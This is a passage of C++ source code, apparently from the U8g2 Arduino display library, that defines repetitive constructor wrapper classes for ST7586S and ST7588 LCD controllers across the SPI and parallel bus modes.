uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_1_8080 : public U8G2 { public: U8G2_ST7586S_ERC240160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7586S_YMC240160_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7586S_YMC240160_1_6800 : public U8G2 { public: U8G2_ST7586S_YMC240160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_1_8080 : public U8G2 { public: U8G2_ST7586S_YMC240160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7586S_ERC240160_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7586S_ERC240160_2_6800 : public U8G2 { public: U8G2_ST7586S_ERC240160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_2_8080 : public U8G2 { public: U8G2_ST7586S_ERC240160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7586S_YMC240160_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7586S_YMC240160_2_6800 : public U8G2 { public: U8G2_ST7586S_YMC240160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_2_8080 : public U8G2 { public: U8G2_ST7586S_YMC240160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7586S_ERC240160_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7586S_ERC240160_F_6800 : public U8G2 { public: U8G2_ST7586S_ERC240160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_F_8080 : public U8G2 { public: U8G2_ST7586S_ERC240160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7586S_YMC240160_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7586S_YMC240160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7586S_YMC240160_F_6800 : public U8G2 { public: U8G2_ST7586S_YMC240160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7586S_YMC240160_F_8080 : public U8G2 { public: U8G2_ST7586S_YMC240160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_ymc240160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7588_JLX12864_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7588_JLX12864_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7588_JLX12864_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7588_JLX12864_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7588_JLX12864_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7588_JLX12864_1_6800 : public U8G2 { public: U8G2_ST7588_JLX12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7588_JLX12864_1_8080 : public U8G2 { public: U8G2_ST7588_JLX12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7588_JLX12864_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7588_JLX12864_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7588_JLX12864_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7588_JLX12864_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7588_JLX12864_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7588_JLX12864_2_6800 : public U8G2 { public: U8G2_ST7588_JLX12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7588_JLX12864_2_8080 : public U8G2 { public: U8G2_ST7588_JLX12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7588_JLX12864_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7588_JLX12864_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7588_JLX12864_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7588_JLX12864_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7588_JLX12864_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7588_JLX12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7588_JLX12864_F_6800 : public U8G2 { public: U8G2_ST7588_JLX12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class 